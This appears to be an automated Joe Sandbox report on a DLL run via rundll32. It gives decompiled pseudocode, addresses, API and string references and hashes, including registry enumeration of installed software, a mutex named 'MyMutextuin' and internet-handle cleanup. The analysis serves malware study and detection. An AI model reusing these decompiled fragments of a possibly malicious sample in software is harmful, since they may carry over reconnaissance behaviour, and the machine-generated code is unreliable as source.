				return E000007FE7FEF4740F90(_t148 | 0x00000001, 0, _t154, _t155,  *(_t271 + 8) ^ _t273,  *((intOrPtr*)(_t184 + 8)), ( *((intOrPtr*)(_t184 + 8)) -  *_t184 >> 6 >> 0x3f) + ( *((intOrPtr*)(_t184 + 8)) -  *_t184 >> 6));
			}

0x7fef4724880
0x7fef4724880
0x7fef4724880
0x7fef472488c
0x7fef4724890
0x7fef4724897
0x7fef472489f
0x7fef47248a3
0x7fef47248a7
0x7fef47248ab
0x7fef47248b2
0x7fef47248b5
0x7fef47248be
0x7fef47248cb
0x7fef47248cd
0x7fef47248d0
0x7fef47248d4
0x7fef47248d8
0x7fef47248dd
0x7fef47248e6
0x7fef47248eb
0x7fef47248f0
0x7fef4724902
0x7fef4724907
0x7fef472490f
0x7fef4724914
0x7fef472491c
0x7fef4724923
0x7fef472492a
0x7fef4724935
0x7fef4724942
0x7fef4724953
0x7fef4724958
0x7fef472495b
0x7fef4724963
0x7fef4724968
0x7fef472496d
0x7fef472497f
0x7fef4724984
0x7fef472498d
0x7fef4724992
0x7fef472499a
0x7fef47249a1
0x7fef47249a8
0x7fef47249b3
0x7fef47249c0
0x7fef47249d1
0x7fef47249d6
0x7fef47249e2
0x7fef47249ea
0x7fef47249f2
0x7fef47249f6
0x7fef47249fa
0x7fef4724a0b
0x7fef4724a10
0x7fef4724a19
0x7fef4724a1e
0x7fef4724a26
0x7fef4724a2d
0x7fef4724a34
0x7fef4724a3f
0x7fef4724a4c
0x7fef4724a5c
0x7fef4724a61
0x7fef4724a6d
0x7fef4724a77
0x7fef4724a7b
0x7fef4724a7f
0x7fef4724a83
0x7fef4724a8c
0x7fef4724a91
0x7fef4724a97
0x7fef4724a9e
0x7fef4724aa5
0x7fef4724ab0
0x7fef4724abd
0x7fef4724acd
0x7fef4724ad3
0x7fef4724adb
0x7fef4724aef
0x7fef4724af5
0x7fef4724afe
0x7fef4724b03
0x7fef4724b0c
0x7fef4724b18
0x7fef4724b1d
0x7fef4724b25
0x7fef4724b2a
0x7fef4724b32
0x7fef4724b39
0x7fef4724b40
0x7fef4724b4b
0x7fef4724b58
0x7fef4724b69
0x7fef4724b6e
0x7fef4724b7a
0x7fef4724b85
0x7fef4724b96
0x7fef4724b98
0x7fef4724ba1
0x7fef4724bb4
0x7fef4724bba
0x7fef4724bc3
0x7fef4724bc8
0x7fef4724bd1
0x7fef4724bdd
0x7fef4724be2
0x7fef4724bea
0x7fef4724bef
0x7fef4724bf7
0x7fef4724bfe
0x7fef4724c05
0x7fef4724c10
0x7fef4724c1d
0x7fef4724c2e
0x7fef4724c33
0x7fef4724c3c
0x7fef4724c47
0x7fef4724c58
0x7fef4724c5a
0x7fef4724c63
0x7fef4724c6e
0x7fef4724c74
0x7fef4724c79
0x7fef4724c81
0x7fef4724c85
0x7fef4724c8e
0x7fef4724c94
0x7fef4724ca1
0x7fef4724caa
0x7fef4724cbb
0x7fef4724cbd
0x7fef4724cc6
0x7fef4724cce
0x7fef4724ce0
0x7fef4724ce2
0x7fef4724ceb
0x7fef4724cf3
0x7fef4724d04
0x7fef4724d06
0x7fef4724d0f
0x7fef4724d39
0x7fef4724d43
0x7fef4724d49
0x7fef4724d50
0x7fef4724d52
0x7fef4724d59
0x7fef4724d65
0x7fef4724d6a
0x7fef4724d6f
0x7fef4724d77
0x7fef4724d7b
0x7fef4724d85
0x7fef4724d8e
0x7fef4724dc2

APIs

Part of subcall function 000007FEF4741BDC: malloc.LIBCMT ref: 000007FEF4741BF6

RegCloseKey.ADVAPI32 ref: 000007FEF4724B98
RegCloseKey.ADVAPI32 ref: 000007FEF4724C5A

Part of subcall function 000007FEF4741930: _onexit.LIBCMT ref: 000007FEF4741934

RegCloseKey.KERNEL32 ref: 000007FEF4724CBD
RegCloseKey.ADVAPI32 ref: 000007FEF4724CE2
RegCloseKey.ADVAPI32 ref: 000007FEF4724D06

Strings

Software\Classes\Installer\Products, xrefs: 000007FEF47248F6
\Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 000007FEF4724AE1
\Software\Microsoft\Installer\Products, xrefs: 000007FEF4724BA6
yxxxxxxx, xrefs: 000007FEF4724D1E
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 000007FEF4724973, 000007FEF4724A00

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Close$_onexitmalloc
String ID: Software\Classes\Installer\Products$Software\Microsoft\Windows\CurrentVersion\Uninstall$\Software\Microsoft\Installer\Products$\Software\Microsoft\Windows\CurrentVersion\Uninstall$yxxxxxxx
API String ID: 3803139953-277029805
Opcode ID: 66c05660ce47f5f7a64585dc61e68877e803d5dd54c3886e92cb766980ab99a8
Instruction ID: a8d0de9a8c382eb6ddc32915a1b3f2587a8fdf7283ef1d34d9621afc37f84ae1
Opcode Fuzzy Hash: 66c05660ce47f5f7a64585dc61e68877e803d5dd54c3886e92cb766980ab99a8
Instruction Fuzzy Hash: 0EE17A31A0FA46C5EA90DB21E884BB923E1FB44798F804235DA5D47BF9DB7CE681C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF473E350 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E000007FE7FEF473E350(long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi) {
				void* _v8;
				signed int _v24;
				char _v28;
				char _v32;
				char _v56;
				void* _v72;
				void* _t30;
				void* _t31;
				intOrPtr _t33;
				void* _t36;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t53;
				signed long long _t62;
				signed long long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr* _t71;
				intOrPtr _t77;
				void* _t86;
				signed long long _t92;
				signed long long _t93;
				long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				intOrPtr* _t104;

				_t102 = _t98;
				 *((long long*)(_t102 - 0x40)) = 0xfffffffe;
				 *((long long*)(_t102 + 0x10)) = __rbx;
				 *((long long*)(_t102 + 0x18)) = __rsi;
				 *((long long*)(_t102 + 0x20)) = __rdi;
				_t62 =  *0xf4777530; // 0xf9634ebbaa1d
				_t63 = _t62 ^ _t98 - 0x00000060;
				_v24 = _t63;
				_t104 = __rcx;
				_t31 = E000007FE7FEF4758F68(_t30, 0, _t102 - 0x1c, _t86);
				_t96 =  *0xf477b218; // 0x1e91d0
				_v72 = _t96;
				_t92 =  *0xf477b2e8; // 0x2
				if (_t92 != 0) goto 0xf473e3e0;
				E000007FE7FEF4758F68(_t31, 0,  &_v32, _t86);
				_t53 =  *0xf477b2e8 - _t92; // 0x2
				if (_t53 != 0) goto 0xf473e3cf;
				_t33 =  *0xf477abe8; // 0x2
				 *0xf477abe8 = _t33 + 1;
				 *0xf477b2e8 = _t63;
				_t36 = E000007FE7FEF4758FE4(_t63,  &_v32);
				_t93 =  *0xf477b2e8; // 0x2
				_t77 =  *_t104;
				if (_t93 -  *((intOrPtr*)(_t77 + 0x18)) >= 0) goto 0xf473e3fc;
				_t64 =  *((intOrPtr*)(_t77 + 0x10));
				if ( *((intOrPtr*)(_t64 + _t93 * 8)) != 0) goto 0xf473e47a;
				goto 0xf473e3fe;
				if ( *((char*)(_t77 + 0x24)) == 0) goto 0xf473e417;
				E000007FE7FEF4758C6C(_t36);
				if (_t93 -  *((intOrPtr*)(_t64 + 0x18)) >= 0) goto 0xf473e41c;
				_t65 =  *((intOrPtr*)(_t64 + 0x10));
				if ( *((intOrPtr*)(_t65 + _t93 * 8)) != 0) goto 0xf473e47a;
				if (_t96 == 0) goto 0xf473e426;
				goto 0xf473e47a;
				E000007FE7FEF473E4E0(0, _t49, _t96,  &_v72, _t104, _t93, _t96); // executed
				if (_t65 != 0xffffffff) goto 0xf473e45c;
				E000007FE7FEF4741CB0( &_v56, "bad cast");
				E000007FE7FEF4747948(_t96,  &_v56, 0xf4775f28, _t93);
				asm("int3");
				_t71 = _v72;
				 *0xf477b218 = _t71;
				 *((intOrPtr*)( *_t71 + 8))();
				E000007FE7FEF4758FE4(E000007FE7FEF4758C38(_t65, _t71),  &_v28);
				return E000007FE7FEF4740F90(_t46, _t49, _t50, _t51, _v24 ^ _t98 - 0x00000060,  *_t71, _t101);
			}

0x7fef473e350
0x7fef473e359
0x7fef473e361
0x7fef473e365
0x7fef473e369
0x7fef473e36d
0x7fef473e374
0x7fef473e377
0x7fef473e37c
0x7fef473e385
0x7fef473e38b
0x7fef473e392
0x7fef473e397
0x7fef473e3a1
0x7fef473e3aa
0x7fef473e3af
0x7fef473e3b6
0x7fef473e3b8
0x7fef473e3c0
0x7fef473e3c8
0x7fef473e3d4
0x7fef473e3d9
0x7fef473e3e0
0x7fef473e3e7
0x7fef473e3e9
0x7fef473e3f4
0x7fef473e3fa
0x7fef473e402
0x7fef473e404
0x7fef473e40d
0x7fef473e40f
0x7fef473e41a
0x7fef473e41f
0x7fef473e424
0x7fef473e42e
0x7fef473e437
0x7fef473e445
0x7fef473e456
0x7fef473e45b
0x7fef473e45c
0x7fef473e461
0x7fef473e46e
0x7fef473e47f
0x7fef473e4aa

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF473E385

Part of subcall function 000007FEF4758F68: _lock.LIBCMT ref: 000007FEF4758F7A

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF473E3AA
std::bad_exception::bad_exception.LIBCMT ref: 000007FEF473E445
_CxxThrowException.LIBCMT ref: 000007FEF473E456
std::_Facet_Register.LIBCPMT ref: 000007FEF473E474

Strings

bad cast, xrefs: 000007FEF473E439

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: 1950eea1a7d9dd0d98ba6511c742c55be77db8035dbe2ea3bc6747dd3338af30
Instruction ID: 3d80ddfd87b2345e7fda68dea4eeb9476033db065f94a93601460ef65aaa5581
Opcode Fuzzy Hash: 1950eea1a7d9dd0d98ba6511c742c55be77db8035dbe2ea3bc6747dd3338af30
Instruction Fuzzy Hash: FC418D31B0EA42C1EA90DB15E844AB863E1F398BA4F940232EA6D077F5CF3CE551C340

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4723BF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E000007FE7FEF4723BF0(long long __rbx, long long __rcx, void* __rdx, long long _a24) {
				signed int _v24;
				char _v32;
				char _v56;
				long long _v64;
				long long _v72;
				void* __rdi;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t35;
				signed long long _t38;
				signed long long _t39;
				long long _t44;
				signed long long _t57;
				void* _t58;

				_v72 = 0xfffffffe;
				_a24 = __rbx;
				_t38 =  *0xf4777530; // 0xf9634ebbaa1d
				_t39 = _t38 ^ _t57;
				_v24 = _t39;
				_t44 = __rcx;
				_v64 = __rcx;
				E000007FE7FEF4758F68(_t24, 0, __rcx, __rdx);
				 *(_t44 + 8) = _t39;
				 *((char*)(_t44 + 0x10)) = 0;
				 *(_t44 + 0x18) = _t39;
				 *((char*)(_t44 + 0x20)) = 0;
				 *(_t44 + 0x28) = _t39;
				 *((short*)(_t44 + 0x30)) = 0;
				 *(_t44 + 0x38) = _t39;
				 *((short*)(_t44 + 0x40)) = 0;
				 *(_t44 + 0x48) = _t39;
				 *((char*)(_t44 + 0x50)) = 0;
				 *(_t44 + 0x58) = _t39;
				 *((char*)(_t44 + 0x60)) = 0;
				if (__rdx != 0) goto 0xf4723c95;
				_v32 = "bad locale name";
				E000007FE7FEF4741CDC( &_v56,  &_v32);
				_v56 = 0xf4769658;
				E000007FE7FEF4747948(_t44,  &_v56, 0xf4775f48, __rdx);
				asm("int3");
				_t55 = __rdx;
				E000007FE7FEF4758D8C(0xf4769658, _t44, _t44, __rdx); // executed
				return E000007FE7FEF4740F90(_t31, _t33, _t34, _t35, _v24 ^ _t57, _t55, _t58);
			}

0x7fef4723bf6
0x7fef4723bff
0x7fef4723c07
0x7fef4723c0e
0x7fef4723c11
0x7fef4723c19
0x7fef4723c1c
0x7fef4723c23
0x7fef4723c2b
0x7fef4723c2f
0x7fef4723c32
0x7fef4723c36
0x7fef4723c39
0x7fef4723c3d
0x7fef4723c41
0x7fef4723c45
0x7fef4723c49
0x7fef4723c4d
0x7fef4723c50
0x7fef4723c54
0x7fef4723c5a
0x7fef4723c63
0x7fef4723c72
0x7fef4723c7e
0x7fef4723c8f
0x7fef4723c94
0x7fef4723c95
0x7fef4723c9b
0x7fef4723cbe

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000007FEF4723C23

Part of subcall function 000007FEF4758F68: _lock.LIBCMT ref: 000007FEF4758F7A

std::exception::exception.LIBCMT ref: 000007FEF4723C72

Part of subcall function 000007FEF4741CDC: std::exception::_Copy_str.LIBCMT ref: 000007FEF4741CFB

_CxxThrowException.LIBCMT ref: 000007FEF4723C8F

Part of subcall function 000007FEF4747948: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF47589DD), ref: 000007FEF47479B6
Part of subcall function 000007FEF4747948: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF47589DD), ref: 000007FEF47479F5

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 000007FEF4723C9B

Strings

bad locale name, xrefs: 000007FEF4723C5C

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Exceptionstd::_$Copy_strFileHeaderLocinfo::_Locinfo_ctorLockitLockit::_RaiseThrow_lockstd::exception::_std::exception::exception
String ID: bad locale name
API String ID: 3392404118-1405518554
Opcode ID: ee166d6060b894d82a5efea53d66728beff5b34477cefa61f2343f8722b662ca
Instruction ID: 0bca22b5356256cb7a7eca3fae33d98e32e563410b6347d74516c3745ff57554
Opcode Fuzzy Hash: ee166d6060b894d82a5efea53d66728beff5b34477cefa61f2343f8722b662ca
Instruction Fuzzy Hash: 68219A3221EB85C9D790CF24F88066973E5FB58BA8F505225DA9C83BA9EF38C154C700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4728BB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E000007FE7FEF4728BB0(signed int __eax, intOrPtr* __rcx) {
				unsigned long long _t39;
				signed long long _t45;
				signed long long _t47;
				signed long long _t49;
				unsigned long long _t51;
				void* _t54;
				intOrPtr _t58;
				void* _t60;
				intOrPtr _t61;

				_t61 =  *((intOrPtr*)(__rcx + 0x10));
				_t58 =  *((intOrPtr*)(__rcx + 8));
				_t45 = _t61 - _t58;
				_t47 = (_t45 >> 6) + (_t45 >> 6 >> 0x3f);
				if (_t47 - 1 >= 0) goto 0xf4728c6c;
				_t49 = (_t47 >> 6) + (_t47 >> 6 >> 0x3f);
				if (0xe1e1e1e1 - _t49 - 1 < 0) goto 0xf4728c72;
				_t11 = _t49 + 1; // 0x1e1e1e1e1e1e1e2
				_t60 = _t11;
				_t51 = (_t49 >> 6) + (_t49 >> 6 >> 0x3f);
				_t39 = _t51 >> 1;
				if (0xe1e1e1e1 - _t39 - _t51 >= 0) goto 0xf4728c58;
				_t52 =  <  ? _t60 : _t51;
				goto 0xf47290f0;
				_t53 = ( <  ? _t60 : _t51) + _t39;
				_t54 =  <  ? _t60 : ( <  ? _t60 : _t51) + _t39;
				goto 0xf47290f0;
				return __eax * _t45 * (_t58 -  *__rcx) * (_t61 -  *__rcx);
			}

0x7fef4728bb6
0x7fef4728bba
0x7fef4728bce
0x7fef4728bdf
0x7fef4728be6
0x7fef4728c0d
0x7fef4728c1a
0x7fef4728c1c
0x7fef4728c1c
0x7fef4728c34
0x7fef4728c3a
0x7fef4728c43
0x7fef4728c4a
0x7fef4728c53
0x7fef4728c58
0x7fef4728c5e
0x7fef4728c67
0x7fef4728c71

APIs

std::_Xbad_alloc.LIBCPMT ref: 000007FEF4729148

Strings

yxxxxxxx, xrefs: 000007FEF472916B
vector<T> too long, xrefs: 000007FEF4728C72
yxxxxxxx, xrefs: 000007FEF4728BBE

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Xbad_allocstd::_
String ID: vector<T> too long$yxxxxxxx$yxxxxxxx
API String ID: 3176948561-242715952
Opcode ID: b193fcaeaa69c4cce856536051f4cd5a1aadf1dd59e4ba78861c880aa5725159
Instruction ID: 8d6893e93f9fba69e9ac2be67a9dad2529cf025517a3ca23a52a30387cfdc5e6
Opcode Fuzzy Hash: b193fcaeaa69c4cce856536051f4cd5a1aadf1dd59e4ba78861c880aa5725159
Instruction Fuzzy Hash: 9B4119E2B1A74A82ED954B16F945BA492D1B758BC0F08D131AD5E0F7E4ED7CE1818700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4741BDC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E000007FE7FEF4741BDC(void* __rax, void* __rcx) {
				void* _t2;

				goto 0xf4741bf6;
				if (E000007FE7FEF474790C(__rax, __rcx) == 0) goto 0xf4741c06;
				_t2 = malloc(??); // executed
				if (__rax == 0) goto 0xf4741be7;
				return _t2;
			}

0x7fef4741be5
0x7fef4741bf1
0x7fef4741bf6
0x7fef4741bfe
0x7fef4741c05

APIs

_callnewh.LIBCMT ref: 000007FEF4741BEA
malloc.LIBCMT ref: 000007FEF4741BF6

Part of subcall function 000007FEF4747854: _FF_MSGBANNER.LIBCMT ref: 000007FEF4747884
Part of subcall function 000007FEF4747854: _NMSG_WRITE.LIBCMT ref: 000007FEF474788E
Part of subcall function 000007FEF4747854: HeapAlloc.KERNEL32(?,?,0000000D,000007FEF4746B20,?,?,?,000007FEF4748A98,?,?,?,000007FEF4748997,?,?,0000000D,000007FEF474502F), ref: 000007FEF47478A9
Part of subcall function 000007FEF4747854: _callnewh.LIBCMT ref: 000007FEF47478C2
Part of subcall function 000007FEF4747854: _errno.LIBCMT ref: 000007FEF47478CD
Part of subcall function 000007FEF4747854: _errno.LIBCMT ref: 000007FEF47478D8

_CxxThrowException.LIBCMT ref: 000007FEF4741C3F

Part of subcall function 000007FEF4747948: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF47589DD), ref: 000007FEF47479B6
Part of subcall function 000007FEF4747948: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF47589DD), ref: 000007FEF47479F5

Strings

bad allocation, xrefs: 000007FEF4741C06

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Exception_callnewh_errno$AllocFileHeaderHeapRaiseThrowmalloc
String ID: bad allocation
API String ID: 1214304046-2104205924
Opcode ID: a58891fe9dab8494b5c621b5357a4de148d7cd1181839b74d06f601a9ff34bc7
Instruction ID: d24c9af55a5e0078f7e862e2dadf3a8699bd0bac1f8c0dc38222aa4e540bf9d7
Opcode Fuzzy Hash: a58891fe9dab8494b5c621b5357a4de148d7cd1181839b74d06f601a9ff34bc7
Instruction Fuzzy Hash: BB017C61A0E74BC1EE94AB91E549BB463D4EB44384F4880309E4D07BF6EA6CE144C740

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF47239E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E000007FE7FEF47239E0() {
				signed int _v24;
				char _v1640;
				long long _v1648;
				long long _v1656;
				char _v1672;
				void* __rbx;
				void* _t22;
				void* _t23;
				void* _t24;
				signed long long _t29;
				signed long long _t30;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t42;
				signed long long _t43;
				void* _t45;
				void* _t46;

				_t29 =  *0xf4777530; // 0xf9634ebbaa1d
				_t30 = _t29 ^ _t43;
				_v24 = _t30;
				CreateMutexW(??, ??, ??); // executed
				if (_t30 == 0) goto 0xf4723a6b;
				if (GetLastError() == 0xb7) goto 0xf4723a74;
				_v1648 = 0xf;
				_v1656 = 0;
				_v1672 = 0;
				E000007FE7FEF473FC40(_t30, _t30,  &_v1640, _t39, _t41, _t42); // executed
				E000007FE7FEF4734F60(1, _t22, _t23, _t30,  &_v1672, _t40, _t41, L"MyMutextuin", _t45, _t46); // executed
				E000007FE7FEF4740670(_t30,  &_v1640);
				if (_v1648 - 0x10 < 0) goto 0xf4723a6b;
				E000007FE7FEF4741974(_v1672);
				ReleaseMutex(??);
				return E000007FE7FEF4740F90(0, _t22, _t23, _t24, _v24 ^ _t43, _t39, L"MyMutextuin");
			}

0x7fef47239e9
0x7fef47239f0
0x7fef47239f3
0x7fef4723a09
0x7fef4723a15
0x7fef4723a22
0x7fef4723a29
0x7fef4723a32
0x7fef4723a3b
0x7fef4723a40
0x7fef4723a4a
0x7fef4723a54
0x7fef4723a5f
0x7fef4723a66
0x7fef4723a6e
0x7fef4723a8e

APIs

CreateMutexExW.KERNELBASE ref: 000007FEF4723A09
GetLastError.KERNEL32 ref: 000007FEF4723A17
ReleaseMutex.KERNEL32 ref: 000007FEF4723A6E

Strings

MyMutextuin, xrefs: 000007FEF47239FB

Memory Dump Source

Source File: 00000005.00000002.1198830786.000007FEF4721000.00000020.00000001.01000000.00000003.sdmp, Offset: 000007FEF4720000, based on PE: true

Associated: 00000005.00000002.1198826589.000007FEF4720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198863152.000007FEF4761000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198879308.000007FEF4777000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1198886749.000007FEF477D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef4720000_rundll32.jbxd

Similarity

API ID: Mutex$CreateErrorLastRelease
String ID: MyMutextuin
API String ID: 1553430826-2525294828
Opcode ID: 7dfcc241e59d2109d0477870901df04764792a4c739cac07467230afc1fe5568
Instruction ID: dcae7722a2a61ebf77d9cbcca5f53e7d34296d89d507e9bb121cec785462455b
Opcode Fuzzy Hash: 7dfcc241e59d2109d0477870901df04764792a4c739cac07467230afc1fe5568
Instruction Fuzzy Hash: 09116121A1EAC1C1FBA0EB20E4597B962A1E7C5704F440035E98E466F6DF3DE1488B10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF4738715 Relevance: 6.2, APIs: 4, Instructions: 181
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 48%

			E000007FE7FEF4738715(void* __eflags, void* __rax, long long __rbx, void* __r8, intOrPtr _a64, intOrPtr _a72, void* _a80, void* _a88, void* _a96, void* _a112, char _a152, long long _a168, long long _a176, short _a184, long long _a200, long long _a208, char _a216, void* _a248, char _a280, long long _a296, long long _a304, intOrPtr _a344, char _a352, long long _a368, long long _a376, char _a384, long long _a400, long long _a408, char _a416, long long _a432, long long _a440, short _a448, long long _a464, long long _a472, char _a480, char _a512, char _a544, long long _a568, char _a584, char _a624, char _a792, char _a896, signed int _a9600, intOrPtr _a9704) {
				void* _t102;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				void* _t108;
				long long _t126;
				signed long long _t166;

				_t168 = __r8;
				_t126 = __rbx;
				r12d = _a9704;
				E000007FE7FEF4723B40(__rax,  &_a480);
				0xf4728090();
				E000007FE7FEF4723B40(__rax,  &_a512);
				E000007FE7FEF4722970( &_a216);
				goto 0xf4738350;
				E000007FE7FEF47228B0( &_a584,  &_a896, __r8);
				r8d = _a344;
				E000007FE7FEF473B0F0(__rbx,  &_a624,  &_a896, __r8);
				asm("xorps xmm0, xmm0");
				asm("repne dec eax");
				asm("addsd xmm0, [eax]");
				asm("movsd [eax], xmm0");
				E000007FE7FEF4722970( &_a584);
				goto 0xf4738342;
				if (r12d != 1) goto 0xf47387ef;
				if (E000007FE7FEF473C390(_a64,  &_a624) == 0) goto 0xf47387ef;
				E000007FE7FEF473C3A0(_a64,  &_a624);
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				__imp__InternetCloseHandle();
				if (_a72 == 0) goto 0xf4738822;
				FreeLibrary(??);
				E000007FE7FEF4738A80(_t126,  &_a624,  &_a896, _a64, __r8);
				E000007FE7FEF4722970( &_a416);
				E000007FE7FEF4722970( &_a352);
				E000007FE7FEF4723B40(_a72,  &_a448);
				E000007FE7FEF4722970( &_a384);
				E000007FE7FEF4722970( &_a280);
				E000007FE7FEF4723B40(_a72,  &_a184);
				E000007FE7FEF4722970( &_a544);
				goto 0xf4738a4f;
				if (_a176 - 0x10 < 0) goto 0xf47388b3;
				E000007FE7FEF4741974(_a152);
				_a176 = 0xf;
				_a168 = _t126;
				_a152 = 0;
				E000007FE7FEF473C310(_t105,  &_a792);
				_a792 = 0xf4769d48;
				E000007FE7FEF4759780( &_a792);
				if (_a440 - 0x10 < 0) goto 0xf4738911;
				E000007FE7FEF4741974(_a416);
				_a440 = 0xf;
				_a432 = _t126;
				_a416 = 0;
				if (_a376 - 0x10 < 0) goto 0xf4738945;
				E000007FE7FEF4741974(_a352);
				_a376 = 0xf;
				_a368 = _t126;
				_a352 = 0;
				if (_a472 - 8 < 0) goto 0xf4738979;
				E000007FE7FEF4741974(_a448);
				_a472 = 7;
				_a464 = _t126;
				_a448 = 0;
				if (_a408 - 0x10 < 0) goto 0xf47389ad;
				E000007FE7FEF4741974(_a384);
				_a408 = 0xf;
				_a400 = _t126;
				_a384 = 0;
				if (_a304 - 0x10 < 0) goto 0xf47389e1;
				E000007FE7FEF4741974(_a280);
				_a304 = 0xf;
				_a296 = _t126;
				_a280 = 0;
				if (_a208 - 8 < 0) goto 0xf4738a15;
				E000007FE7FEF4741974(_a184);
				_a208 = 7;
				_a200 = _t126;
				_a184 = 0;
				if (_a568 - 0x10 < 0) goto 0xf4738a49;
				E000007FE7FEF4741974(_a544);
				_t102 = E000007FE7FEF4740F90(_t104, _t106, _t107, _t108, _a9600 ^ _t166,  &_a896, _t168);
				asm("movaps xmm6, [esp+0x2590]");
				return _t102;
			}

0x7fef4738715
0x7fef4738715
0x7fef4738715
0x7fef4738736
0x7fef4738744
0x7fef4738752
0x7fef4738760
0x7fef4738765
0x7fef473877a
0x7fef4738780
0x7fef4738798
0x7fef47387a4
0x7fef47387a7
0x7fef47387b1
0x7fef47387b5
0x7fef47387c1
